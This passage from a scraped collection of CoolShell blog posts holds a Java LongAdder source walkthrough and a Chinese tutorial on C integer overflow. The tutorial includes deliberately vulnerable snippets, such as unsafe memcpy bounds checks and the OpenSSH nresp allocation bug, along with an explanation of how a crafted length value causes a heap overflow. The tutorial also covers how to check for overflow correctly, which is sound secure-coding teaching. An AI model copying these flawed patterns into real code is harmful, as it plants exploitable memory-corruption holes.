    "content": "---\nlayout: post\ntitle: 从LongAdder看更高效的无锁实现\ndate: 2014/4/17/ 15:11:40\nupdated: 2014/4/17/ 15:11:40\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢 [@jd刘锟洋](http://weibo.com/liuinsect) 投稿，更多文章参看他的博客：[码梦为生](http://www.liuinsect.com/)）**\n\n\n**原文链接**：《[比AtomicLong还高效的LongAdder 源码解析](http://www.liuinsect.com/2014/04/15/%E6%AF%94atomiclong%E8%BF%98%E9%AB%98%E6%95%88%E7%9A%84longadder-%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90/)》\n\n\n接触到AtomicLong的原因是在看guava的LoadingCache相关代码时，关于LoadingCache，其实思路也非常简单清晰：用模板模式解决了缓存不命中时获取数据的逻辑，这个思路我早前也正好在项目中使用到。\n\n\n言归正传，为什么说LongAdder引起了我的注意，原因有二：\n\n\n1. 作者是Doug lea ，地位实在举足轻重。\n2. 他说这个比AtomicLong高效。\n\n\n我们知道，AtomicLong已经是非常好的解决方案了，涉及并发的地方都是使用CAS操作，在硬件层次上去做 compare and set操作。效率非常高。\n\n\n因此，我决定研究下，为什么LongAdder比AtomicLong高效。\n\n\n首先，看LongAdder的继承树：\n\n\n![la1](../wp-content/uploads/2014/04/la1.png)\n\n\n继承自Striped64，这个类包装了一些很重要的内部类和操作。稍候会看到。\n\n\n\n**正式开始前，强调下，我们知道，AtomicLong的实现方式是内部有个value 变量，当多线程并发自增，自减时，均通过CAS 指令从机器指令级别操作保证并发的原子性。**\n\n\n再看看LongAdder的方法：\n\n\n![la2](../wp-content/uploads/2014/04/la2.png)  \n\n怪不得可以和AtomicLong作比较，连API都这么像。我们随便挑一个API入手分析，这个API通了，其他API都大同小异，因此，我选择了add这个方法。事实上,其他API也都依赖这个方法。\n\n\n![la3](../wp-content/uploads/2014/04/la3.png)  \n\nLongAdder中包含了一个Cell 数组，Cell是Striped64的一个内部类，顾名思义，Cell 代表了一个最小单元，这个单元有什么用，稍候会说道。先看定义：\n\n\n![la4](../wp-content/uploads/2014/04/la4.png)  \n\nCell内部有一个非常重要的value变量，并且提供了一个CAS更新其值的方法。\n\n\n回到add方法：\n\n\n![la3](../wp-content/uploads/2014/04/la3.png)\n\n\n这里，我有个疑问，AtomicLong已经使用CAS指令，非常高效了（比起各种锁），LongAdder如果还是用CAS指令更新值，怎么可能比AtomicLong高效了？ 何况内部还这么多判断！！！\n\n\n这是我开始时最大的疑问，所以，我猜想，难道有比CAS指令更高效的方式出现了？ 带着这个疑问，继续。\n\n\n第一if 判断，第一次调用的时候cells数组肯定为null,因此，进入casBase方法：\n\n\n![la5](../wp-content/uploads/2014/04/la5.png)  \n\n原子更新base没啥好说的，如果更新成功，本地调用开始返回，否则进入分支内部。\n\n\n什么时候会更新失败？ 没错，并发的时候，好戏开始了，AtomicLong的处理方式是死循环尝试更新，直到成功才返回，而LongAdder则是进入这个分支。\n\n\n分支内部，通过一个Threadlocal变量threadHashCode 获取一个HashCode对象，该HashCode对象依然是Striped64类的内部类，看定义：\n\n\n![la6](../wp-content/uploads/2014/04/la6.png)  \n\n有个code变量，保存了一个非0的随机数随机值。\n\n\n回到add方法：\n\n\n![la3](../wp-content/uploads/2014/04/la3.png)\n\n\n拿到该线程相关的HashCode对象后，获取它的code变量，as[(n-1)&h] 这句话相当于对h取模，只不过比起取模，因为是 与 的运算所以效率更高。\n\n\n计算出一个在Cells 数组中当先线程的HashCode对应的 索引位置，并将该位置的Cell 对象拿出来用CAS更新它的value值。\n\n\n当然，如果as 为null 并且更新失败，才会进入retryUpdate方法。\n\n\n看到这里我想应该有很多人明白为什么LongAdder会比AtomicLong更高效了，没错，唯一会制约AtomicLong高效的原因是高并发，高并发意味着CAS的失败几率更高， 重试次数更多，越多线程重试，CAS失败几率又越高，变成恶性循环，AtomicLong效率降低。 那怎么解决？ **LongAdder给了我们一个非常容易想到的解决方案：减少并发，将单一value的更新压力分担到多个value中去，降低单个value的 “热度”，分段更新！！！**\n\n\n这样，线程数再多也会分担到多个value上去更新，只需要增加value就可以降低 value的 “热度”  AtomicLong中的 恶性循环不就解决了吗？ cells 就是这个 “段” cell中的value 就是存放更新值的， 这样，**当我需要总数时，把cells 中的value都累加一下不就可以了么！！**\n\n\n**当然，聪明之处远远不仅仅这里，在看看add方法中的代码，casBase方法可不可以不要，直接分段更新,上来就计算 索引位置，然后更新value？**\n\n\n答案是不好，不是不行，因为，casBase操作等价于AtomicLong中的CAS操作，要知道，LongAdder这样的处理方式是有坏处的，分段操作必然带来空间上的浪费，可以空间换时间，但是，**能不换就不换，看空间时间都节约~！** 所以，**casBase操作保证了在低并发时，不会立即进入分支做分段更新操作**，因为低并发时，casBase操作基本都会成功，只有并发高到一定程度了，才会进入分支，所以，Doug Lea对该类的说明是： **低并发时LongAdder和AtomicLong性能差不多，高并发时LongAdder更高效！**\n\n\n![la7](../wp-content/uploads/2014/04/la7.png)\n\n\n但是，Doung Lea 还是没这么简单，聪明之处还没有结束……\n\n\n如此，retryUpdate中做了什么事，也基本略知一二了，因为cell中的value都更新失败(说明该索引到这个cell的线程也很多，并发也很高时) 或者cells数组为空时才会调用retryUpdate,\n\n\n因此，**retryUpdate里面应该会做两件事：**\n\n\n1. **扩容，将cells数组扩大**，降低每个cell的并发量，同样，这也意味着cells数组的rehash动作。\n2. **给空的cells变量赋一个新的Cell数组**。\n\n\n是不是这样呢？ 继续看代码：\n\n\n代码比较长，变成文本看看，为了方便大家看if else 分支，对应的  { } 我用相同的颜色标注出来。可以看到，这个时候Doug Lea才愿意使用死循环保证更新成功~！\n\n\n\n```\n\n  final void retryUpdate(long x, HashCode hc, boolean wasUncontended) {\n        int h = hc.code;\n        boolean collide = false;                // True if last slot nonempty\n        for (;;) {\n            Cell[] as; Cell a; int n; long v;\n            if ((as = cells) != null && (n = as.length) > 0) {// 分支1\n                if ((a = as[(n - 1) & h]) == null) {\n                    if (busy == 0) {            // Try to attach new Cell\n                        Cell r = new Cell(x);   // Optimistically create\n                        if (busy == 0 && casBusy()) {\n                            boolean created = false;\n                            try {               // Recheck under lock\n                                Cell[] rs; int m, j;\n                                if ((rs = cells) != null &&\n                                        (m = rs.length) > 0 &&\n                                        rs[j = (m - 1) & h] == null) {\n                                    rs[j] = r;\n                                    created = true;\n                                }\n                            } finally {\n                                busy = 0;\n                            }\n                            if (created)\n                                break;\n                            continue;           // Slot is now non-empty\n                        }\n                    }\n                    collide = false;\n                }\n                else if (!wasUncontended)       // CAS already known to fail\n                    wasUncontended = true;      // Continue after rehash\n                else if (a.cas(v = a.value, fn(v, x)))\n                    break;\n                else if (n >= NCPU || cells != as)\n                    collide = false;            // At max size or stale\n                else if (!collide)\n                    collide = true;\n                else if (busy == 0 && casBusy()) {\n                    try {\n                        if (cells == as) {      // Expand table unless stale\n                            Cell[] rs = new Cell[n << 1];\n                            for (int i = 0; i < n; ++i)\n                                rs[i] = as[i];\n                            cells = rs;\n                        }\n                    } finally {\n                        busy = 0;\n                    }\n                    collide = false;\n                    continue;                   // Retry with expanded table\n                }\n                h ^= h << 13;                   // Rehash  h ^= h >>> 17;\n                h ^= h << 5;\n            }\n            else if (busy == 0 && cells == as && casBusy()) {//分支2\n                boolean init = false;\n                try {                           // Initialize table\n                    if (cells == as) {\n                        Cell[] rs = new Cell[2];\n                        rs[h & 1] = new Cell(x);\n                        cells = rs;\n                        init = true;\n                    }\n                } finally {\n                    busy = 0;\n                }\n                if (init)\n                    break;\n            }\n            else if (casBase(v = base, fn(v, x)))\n                break;                          // Fall back on using base\n        }\n        hc.code = h;                            // Record index for next time\n    }\n\n\n```\n\n分支2中，为cells为空的情况，需要new 一个Cell数组。\n\n\n分支1分支中，略复杂一点点：\n\n\n注意，几个分支中都提到了busy这个方法，这个可以理解为一个CAS实现的锁，只有在需要更新cells数组的时候才会更新该值为1，如果更新失败，则说明当前有线程在更新cells数组，当前线程需要等待。重试。\n\n\n回到分支1中，这里首先判断当前cells数组中的索引位置的cell元素是否为空，如果为空，则添加一个cell到数组中。\n\n\n否则更新 标示冲突的标志位wasUncontended 为 true ，重试。\n\n\n否则，再次更新cell中的value,如果失败，重试。\n\n\n。。。。。。。一系列的判断后，如果还是失败，下下下策，reHash,直接将cells数组扩容一倍，并更新当前线程的hash值，保证下次更新能尽可能成功。\n\n\n**可以看到，LongAdder确实用了很多心思减少并发量，并且，每一步都是在”没有更好的办法“的时候才会选择更大开销的操作，从而尽可能的用最最简单的办法去完成操作。追求简单，但是绝对不粗暴。**\n\n\n———————**陈皓注————————**\n\n\n最后留给大家思考的两个问题：\n\n\n1）是不是AtomicLong可以被废了？\n\n\n2）如果cell被创建后，原来的casBase就不走了，会不会性能更差？\n\n\n———————liuinsect**注————————**\n\n\n昨天和左耳朵耗子简单讨论了下，发现左耳朵耗子,耗哥对读者思维的引导还是非常不错的，在第一次发现这个类后，对里面的实现又提出了更多的问题，引导大家思考，值得学习。\n\n\n我们 发现的问题有这么几个（包括以上的问题），自己简单总结下，欢迎大家讨论：\n\n\n1. jdk 1.7中是不是有这个类？  \n\n我确认后，结果如下：    jdk-7u51 版本上还没有  但是jdk-8u20版本上已经有了。代码基本一样 ，增加了对double类型的支持和删除了一些冗余的代码。有兴趣的同学可以去下载下JDK 1.8看看\n\n\n2. base有没有参与汇总？  \n\nbase在调用intValue等方法的时候是会汇总的：\n\n\n[![LA10](../wp-content/uploads/2014/04/LA101.bmp)](http://www.liuinsect.com/wp-content/uploads/2014/04/LA101.bmp)\n\n\n3. 如果cell被创建后，原来的casBase就不走了，会不会性能更差？ base的顺序可不可以调换?  \n\n    刚开始我想可不可以调换add方法中的判断顺序，比如，先做casBase的判断？ 仔细思考后认为还是 不调换可能更好，调换后每次都要CAS一下，在高并发时，失败几率非常高，并且是恶性循环，比起一次判断，后者的开销明显小很多，还没有副作用（上一个问题，base变量在sum时base是会被统计的，并不会丢掉base的值）。因此，不调换可能会更好。\n\n\n4. AtomicLong可不可以废掉？  \n\n我的想法是可以废掉了，因为，虽然LongAdder在空间上占用略大，但是，它的性能已经足以说明一切了,无论是从节约空的角度还是执行效率上，AtomicLong基本没有优势了，具体看这个测试（感谢[Lemon](http://lianming.info/)的回复）:http://blog.palominolabs.com/2014/02/10/java-8-performance-improvements-longadder-vs-atomiclong/\n\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![无锁队列的实现](../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg)](http://coolshell.cn/articles/8239.html)[无锁队列的实现](http://coolshell.cn/articles/8239.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](http://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](http://coolshell.cn/articles/9703.html)\n* [![并发框架Disruptor译文](../wp-content/uploads/2013/02/Disruptor-150x150.png)](http://coolshell.cn/articles/9169.html)[并发框架Disruptor译文](http://coolshell.cn/articles/9169.html)\n* [![疫苗：Java HashMap的死循环](../wp-content/uploads/2013/05/race_condition-150x150.jpg)](http://coolshell.cn/articles/9606.html)[疫苗：Java HashMap的死循环](http://coolshell.cn/articles/9606.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](http://coolshell.cn/articles/6424.html)[Hash Collision DoS 问题](http://coolshell.cn/articles/6424.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](http://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](http://coolshell.cn/articles/11175.html)\nThe post [从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn).\n\n"
  },
  {
    "path": "blogs/rss2html2markdown/2014-4-21 C语言的整型溢出问题.md",
    "content": "---\nlayout: post\ntitle: C语言的整型溢出问题\ndate: 2014/4/21/ 0:18:1\nupdated: 2014/4/21/ 0:18:1\nstatus: publish\npublished: true\ntype: post\n---\n\n整型溢出有点老生常谈了，bla, bla, bla… 但似乎没有引起多少人的重视。整型溢出会有可能导致缓冲区溢出，缓冲区溢出会导致各种黑客攻击，比如最近OpenSSL的heartbleed事件，就是一个buffer overread的事件。在这里写下这篇文章，希望大家都了解一下整型溢出，编译器的行为，以及如何防范，以写出更安全的代码。\n\n\n#### 什么是整型溢出\n\n\nC语言的整型问题相信大家并不陌生了。对于整型溢出，分为无符号整型溢出和有符号整型溢出。\n\n\n**对于unsigned整型溢出，C的规范是有定义的**——“溢出后的数会以2^(8\\*sizeof(type))作模运算”，也就是说，如果一个unsigned char（1字符，8bits）溢出了，会把溢出的值与256求模。例如：\n\n\n\n```\nunsigned char x = 0xff;\nprintf(\"%d\\n\", ++x);\n```\n\n上面的代码会输出：0 （因为0xff + 1是256，与2^8求模后就是0）\n\n\n**对于signed整型的溢出，C的规范定义是“undefined behavior”**，也就是说，编译器爱怎么实现就怎么实现。对于大多数编译器来说，算得啥就是啥。比如：\n\n\n\n```\nsigned char x =0x7f; //注：0xff就是-1了，因为最高位是1也就是负数了\nprintf(\"%d\\n\", ++x);\n```\n\n上面的代码会输出：-128，因为0x7f + 0x01得到0x80，也就是二进制的1000 0000，符号位为1，负数，后面为全0，就是负的最小数，即-128。\n\n\n\n另外，千万别以为signed整型溢出就是负数，这个是不定的。比如：\n\n\n\n```\nsigned char x = 0x7f;\nsigned char y = 0x05;\nsigned char r = x * y;\nprintf(\"%d\\n\", r);\n```\n\n上面的代码会输出：123\n\n\n相信对于这些大家不会陌生了。\n\n\n#### 整型溢出的危害\n\n\n下面说一下，整型溢出的危害。\n\n\n##### 示例一：整形溢出导致死循环\n\n\n\n```\n ... ...\n... ...\nshort len = 0;\n... ...\nwhile(len< MAX_LEN) {\n    len += readFromInput(fd, buf);\n    buf += len;\n}\n```\n\n上面这段代码可能是很多程序员都喜欢写的代码（我在很多代码里看到过多次），其中的MAX\\_LEN 可能会是个比较大的整型，比如32767，我们知道short是16bits，取值范围是-32768 到 32767 之间。但是，上面的while循环代码有可能会造成整型溢出，而len又是个有符号的整型，所以可能会成负数，导致不断地死循环。\n\n\n##### 示例二：整形转型时的溢出\n\n\n\n```\nint copy_something(char *buf, int len)\n{\n    #define MAX_LEN 256\n    char mybuf[MAX_LEN];\n     ... ...\n     ... ...\n\n     if(len > MAX_LEN){ // <---- [1]\n         return -1;\n     }\n\n     return memcpy(mybuf, buf, len);\n}\n```\n\n上面这个例子中，还是[1]处的if语句，看上去没有会问题，但是len是个signed int，而memcpy则需一个size\\_t的len，也就是一个unsigned 类型。于是，len会被提升为unsigned，此时，如果我们给len传一个负数，会通过了if的检查，但在memcpy里会被提升为一个正数，于是我们的mybuf就是overflow了。这个会导致mybuf缓冲区后面的数据被重写。\n\n\n##### 示例三：分配内存\n\n\n关于整数溢出导致堆溢出的很典型的例子是，OpenSSH Challenge-Response SKEY/BSD\\_AUTH 远程缓冲区溢出漏洞。下面这段有问题的代码摘自OpenSSH的代码中的auth2-chall.c中的input\\_userauth\\_info\\_response() 函数:\n\n\n\n```\nnresp = packet_get_int();\nif (nresp > 0) {\n    response = xmalloc(nresp*sizeof(char*));\n    for (i = 0; i < nresp; i++)\n        response[i] = packet_get_string(NULL);\n}\n```\n\n上面这个代码中，nresp是size\\_t类型（size\\_t一般就是unsigned int/long int），这个示例是一个解数据包的示例，一般来说，数据包中都会有一个len，然后后面是data。如果我们精心准备一个len，比如：1073741825（在32位系统上，指针占4个字节，unsigned int的最大值是0xffffffff，我们只要提供0xffffffff/4 的值——0x40000000，这里我们设置了0x4000000 + 1）， nresp就会读到这个值，然后nresp*sizeof(char*)就成了 1073741825 \\* 4，于是溢出，结果成为了 0x100000004，然后求模，得到4。于是，malloc(4)，于是后面的for循环1073741825 次，就可以干环事了（经过0x40000001的循环,用户的数据早已覆盖了xmalloc原先分配的4字节的空间以及后面的数据，包括程序代码，函数指针，于是就可以改写程序逻辑。关于更多的东西，你可以看一下这篇文章《[Survey of Protections from Buffer-Overflow Attacks](http://engj.org/index.php/ej/article/view/112/167)》）。\n\n\n##### 示例四：缓冲区溢出导致安全问题\n\n\n\n```\nint func(char *buf1, unsigned int len1,\n         char *buf2, unsigned int len2 )\n{\n   char mybuf[256]; \n\n   if((len1 + len2) > 256){    //<--- [1]\n       return -1;\n   } \n\n   memcpy(mybuf, buf1, len1);\n   memcpy(mybuf + len1, buf2, len2); \n\n   do_some_stuff(mybuf); \n\n   return 0;\n}\n```\n\n上面这个例子本来是想把buf1和buf2的内容copy到mybuf里，其中怕len1 + len2超过256 还做了判断，但是，如果len1+len2溢出了，根据unsigned的特性，其会与2^32求模，所以，基本上来说，上面代码中的[1]处有可能为假的。（注：通常来说，在这种情况下，如果你开启-O代码优化选项，那个if语句块就全部被和谐掉了——被编译器给删除了）比如，你可以测试一下 len1=0x104， len2 = 0xfffffffc 的情况。\n\n\n##### 示例五：size\\_t 的溢出\n\n\n\n```\nfor (int i= strlen(s)-1;  i>=0; i--)  { ... }\n```\n\n\n```\nfor (int i=v.size()-1; i>=0; i--)  { ... }\n```\n\n上面这两个示例是我们经常用的从尾部遍历一个数组的for循环。第一个是字符串，第二个是C++中的vector容器。strlen()和vector::size()返回的都是 size\\_t，size\\_t在32位系统下就是一个unsigned int。你想想，如果strlen(s)和v.size() 都是0呢？这个循环会成为个什么情况？于是strlen(s) – 1 和 v.size() – 1 都不会成为 -1，而是成为了 (unsigned int)(-1)，一个正的最大数。导致你的程序越界访问。\n\n\n这样的例子有很多很多，这些整型溢出的问题如果在关键的地方，尤其是在搭配有用户输入的地方，如果被黑客利用了，就会导致很严重的安全问题。\n\n\n#### 关于编译器的行为\n\n\n在谈一下如何正确的检查整型溢出之前，我们还要来学习一下编译器的一些东西。请别怪我罗嗦。\n\n\n##### 编译器优化\n\n\n如何检查整型溢出或是整型变量是否合法有时候是一件很麻烦的事情，就像上面的第四个例子一样，编译的优化参数-O/-O2/-O3基本上会假设你的程序不会有整形溢出。会把你的代码中检查溢出的代码给优化掉。\n\n\n关于编译器的优化，在这里再举个例子，假设我们有下面的代码（又是一个相当相当常见的代码）：\n\n\n\n```\nint len;\nchar* data;\n\nif (data + len < data){\n    printf(\"invalid len\\n\");\n    exit(-1);\n}\n\n```\n\n上面这段代码中，len 和 data 配套使用，我们害怕len的值是非法的，或是len溢出了，于是我们写下了if语句来检查。这段代码在-O的参数下正常。但是在-O2的编译选项下，整个if语句块被优化掉了。\n\n\n你可以写个小程序，在gcc下编译（我的版本是4.4.7，记得加上-O2和-g参数），然后用gdb调试时，用disass /m命信输出汇编，你会看到下面的结果（你可以看到整个if语句块没有任何的汇编代码——直接被编译器和谐掉了）：\n\n\n\n```\n7 int len = 10;\n8 char* data = (char *)malloc(len);\n0x00000000004004d4 <+4>: mov $0xa,%edi\n0x00000000004004d9 <+9>: callq 0x4003b8 <malloc@plt>\n\n9\n10 if (data + len < data){\n11 printf(\"invalid len\\n\");\n12 exit(-1);\n13 }\n14\n15 }\n0x00000000004004de <+14>: add $0x8,%rsp\n0x00000000004004e2 <+18>: retq\n\n```\n\n对此，你需要把上面 char\\* 转型成 uintptr\\_t 或是 size\\_t，说白了也就是把char\\*转成unsigned的数据结构，if语句块就无法被优化了。如下所示：\n\n\n\n```\nif ((uintptr_t)data + len < (uintptr_t)data){\n    ... ...\n}\n```\n\n关于这个事，你可以看一下C99的规范说明《 [ISO/IEC 9899:1999 C specification](http://www.open-std.org/JTC1/SC22/WG14/www/docs/n1124.pdf) 》第 §6.5.6 页，第8点，我截个图如下：（这段话的意思是定义了指针+/-一个整型的行为，如果越界了，则行为是undefined）\n\n\n![](../wp-content/uploads/2014/04/c99.jpg)\n\n\n注意上面标红线的地方，说如果指针指在数组范围内没事，如果越界了就是undefined，也就是说这事交给编译器实现了，编译器想咋干咋干，那怕你想把其优化掉也可以。在这里要重点说一下，**C语言中的一个大恶魔—— Undefined! 这里都是“野兽出没”的地方，你一定要小心小心再小心**。\n\n\n##### 花絮：编译器的彩蛋\n\n\n上面说了所谓的undefined行为就全权交给编译器实现，gcc在1.17版本下对于undefined的行为还玩了个彩蛋（[参看Wikipedia](http://en.wikipedia.org/wiki/Undefined_behavior#Compiler_easter_eggs)）。\n\n\n下面gcc 1.17版本下的遭遇undefined行为时，gcc在unix发行版下玩的彩蛋的源代码。我们可以看到，它会去尝试去执行一些游戏[NetHack](http://en.wikipedia.org/wiki/NetHack)， [Rogue](http://en.wikipedia.org/wiki/Rogue_%28computer_game%29) 或是Emacs的 [Towers of Hanoi](http://en.wikipedia.org/wiki/Tower_of_Hanoi#Applications)，如果找不到，就输出一条NB的报错。\n\n\n\n```\nexecl(\"/usr/games/hack\", \"#pragma\", 0); // try to run the game NetHack\nexecl(\"/usr/games/rogue\", \"#pragma\", 0); // try to run the game Rogue\n// try to run the Tower's of Hanoi simulation in Emacs.\nexecl(\"/usr/new/emacs\", \"-f\",\"hanoi\",\"9\",\"-kill\",0);\nexecl(\"/usr/local/emacs\",\"-f\",\"hanoi\",\"9\",\"-kill\",0); // same as above\nfatal(\"You are in a maze of twisty compiler features, all different\");\n```\n\n#### 正确检测整型溢出\n\n\n在看过编译器的这些行为后，你应该会明白——“**在整型溢出之前，一定要做检查，不然，就太晚了**”。\n\n\n我们来看一段代码：\n\n\n\n```\n void foo(int m, int n)\n{\n    size_t s = m + n;\n    .......\n}\n```\n\n上面这段代码有两个风险：**1）有符号转无符号**，**2）整型溢出**。这两个情况在前面的那些示例中你都应该看到了。**所以，你千万不要把任何检查的代码写在 s = m + n 这条语名后面，不然就太晚了**。undefined行为就会出现了——用句纯正的英文表达就是——“Dragon is here”——你什么也控制不住了。（注意：有些初学者也许会以为size\\_t是无符号的，而根据优先级 m 和 n 会被提升到unsigned int。其实不是这样的，m 和 n 还是signed int，m + n 的结果也是signed int，然后再把这个结果转成unsigned int 赋值给s）\n\n\n比如，下面的代码是错的：\n\n\n\n```\n void foo(int m, int n)\n{\n    size_t s = m + n;\n    if ( m>0 && n>0 && (SIZE_MAX - m < n) ){\n        //error handling...\n    }\n}\n```\n\n上面的代码中，大家要注意 **(SIZE\\_MAX – m < n)** 这个判断，为什么不用m + n > SIZE\\_MAX呢？因为，如果 m + n 溢出后，就被截断了，所以表达式恒真，也就检测不出来了。另外，这个表达式中，m和n分别会被提升为unsigned。\n\n\n但是上面的代码是错的，因为：\n\n\n1）检查的太晚了，if之前编译器的undefined行为就已经出来了（你不知道什么会发生）。\n\n\n2）就像前面说的一样，(SIZE\\_MAX – m < n) 可能会被编译器优化掉。\n\n\n3）另外，SIZE\\_MAX是size\\_t的最大值，size\\_t在64位系统下是64位的，严谨点应该用INT\\_MAX或是UINT\\_MAX\n\n\n 所以，正确的代码应该是下面这样：\n\n\n\n```\n void foo(int m, int n)\n{\n    size_t s = 0;\n    if ( m>0 && n>0 && ( UINT_MAX - m < n ) ){\n        //error handling...\n        return;\n    }\n    s = (size_t)m + (size_t)n;\n}\n```\n\n在《[苹果安全编码规范](https://developer.apple.com/library/ios/documentation/Security/Conceptual/SecureCodingGuide/SecureCodingGuide.pdf)》（PDF）中，第28页的代码中：\n\n\n![](../wp-content/uploads/2014/04/apple_security_code.jpg)\n\n\n如果n和m都是signed int，那么这段代码是错的。正确的应该像上面的那个例子一样，至少要在n*m时要把 n 和 m 给 cast 成 size\\_t。因为，n*m可能已经溢出了，已经undefined了，undefined的代码转成size\\_t已经没什么意义了。（如果m和n是unsigned int，也会溢出），上面的代码仅在m和n是size\\_t的时候才有效。\n\n\n不管怎么说，《[苹果安全编码规范](https://developer.apple.com/library/ios/documentation/Security/Conceptual/SecureCodingGuide/SecureCodingGuide.pdf)》绝对值得你去读一读。\n\n\n##### 二分取中搜索算法中的溢出\n\n\n我们再来看一个二分取中搜索算法（binary search），大多数人都会写成下面这个样子：\n\n\n\n```\nint binary_search(int a[], int len, int key)\n{\n    int low = 0; \n    int high = len - 1; \n\n    while ( low<=high ) {\n        int mid = (low + high)/2;\n        if (a[mid] == key) {\n            return mid;\n        }\n        if (key < a[mid]) {\n            high = mid - 1;\n        }else{\n            low = mid + 1;\n        }\n    }\n    return -1;\n}\n```\n\n上面这个代码中，你可能会有这样的想法：\n\n\n1） 我们应该用size\\_t来做len, low, high, mid这些变量的类型。没错，应该是这样的。但是如果这样，你要小心第四行 int high = len -1; 如果len为0，那么就“high大发了”。\n\n\n2） 无论你用不用size\\_t。我们在计算mid = (low+high)/2; 的时候，(low + high) 都可以溢出。正确的写法应该是：\n\n\n\n```\nint mid = low + (high - low)/2;\n```\n\n##### 上溢出和下溢出的检查\n\n\n前面的代码只判断了正数的上溢出overflow，没有判断负数的下溢出underflow。让们来看看怎么判断：\n\n\n对于加法，还好。\n\n\n\n```\n#include <limits.h>\n\nvoid f(signed int si_a, signed int si_b) {\n    signed int sum;\n    if (((si_b > 0) && (si_a > (INT_MAX - si_b))) ||\n        ((si_b < 0) && (si_a < (INT_MIN - si_b)))) {\n        /* Handle error */\n        return;\n    }\n    sum = si_a + si_b;\n}\n```\n\n对于乘法，就会很复杂（下面的代码太夸张了）：\n\n\n\n```\nvoid func(signed int si_a, signed int si_b)\n{\n  signed int result;\n  if (si_a > 0) {  /* si_a is positive */\n    if (si_b > 0) {  /* si_a and si_b are positive */\n      if (si_a > (INT_MAX / si_b)) {\n        /* Handle error */\n      }\n    } else { /* si_a positive, si_b nonpositive */\n      if (si_b < (INT_MIN / si_a)) {\n        /* Handle error */\n      }\n    } /* si_a positive, si_b nonpositive */\n  } else { /* si_a is nonpositive */\n    if (si_b > 0) { /* si_a is nonpositive, si_b is positive */\n      if (si_a < (INT_MIN / si_b)) {\n        /* Handle error */\n      }\n    } else { /* si_a and si_b are nonpositive */\n      if ( (si_a != 0) && (si_b < (INT_MAX / si_a))) {\n        /* Handle error */\n      }\n    } /* End if si_a and si_b are nonpositive */\n  } /* End if si_a is nonpositive */\n\n  result = si_a * si_b;\n}\n```\n\n更多的防止在操作中整型溢出的安全代码可以参看《[INT32-C. Ensure that operations on signed integers do not result in overflow](https://www.securecoding.cert.org/confluence/display/seccode/INT32-C.+Ensure+that+operations+on+signed+integers+do+not+result+in+overflow)》\n\n\n#### 其它\n\n\n对于C++来说，你应该使用STL中的numeric\\_limits::max() 来检查溢出。\n\n\n另外，微软的SafeInt类是一个可以帮你远理上面这些很tricky的类，下载地址：<http://safeint.codeplex.com/>\n\n\n对于Java 来说，一种是用JDK 1.7中Math库下的safe打头的函数，如safeAdd()和safeMultiply()，另一种用更大尺寸的数据类型，最大可以到BigInteger。\n\n\n可见，写一个安全的代码并不容易，尤其对于C/C++来说。对于黑客来说，他们只需要搜一下开源软件中代码有memcpy/strcpy之类的地方，然后看一看其周边的代码，是否可以通过用户的输入来影响，如果有的话，你就惨了。\n\n\n**参考**：\n\n\n* [Basic Integer Overflow](http://phrack.org/issues/60/10.html)\n\n\n* [OWASP：Integer overflow](https://www.owasp.org/index.php/Integer_overflow)\n\n\n* [C compilers may silently discard some wraparound checks](https://www.kb.cert.org/vuls/id/162289)\n\n\n* [Apple Secure Coding Guide](https://developer.apple.com/library/ios/documentation/Security/Conceptual/SecureCodingGuide/SecureCodingGuide.pdf)\n\n\n* [Wikipedia: Undefined Behavior](http://en.wikipedia.org/wiki/Undefined_behavior)\n\n\n* [INT32-C. Ensure that operations on signed integers do not result in overflow](https://www.securecoding.cert.org/confluence/display/seccode/INT32-C.+Ensure+that+operations+on+signed+integers+do+not+result+in+overflow)\n\n\n最后， 不好意思，这篇文章可能罗嗦了一些，大家见谅。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![网络数字身份认证术](../wp-content/uploads/2022/01/iStock-1175502114-150x150.png)](https://coolshell.cn/articles/21708.html)[网络数字身份认证术](https://coolshell.cn/articles/21708.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![HTTP API 认证授权术](../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png)](https://coolshell.cn/articles/19395.html)[HTTP API 认证授权术](https://coolshell.cn/articles/19395.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\nThe post [C语言的整型溢出问题](https://coolshell.cn/articles/11466.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-5-26 「我只是认真」聊聊工匠情怀.md",
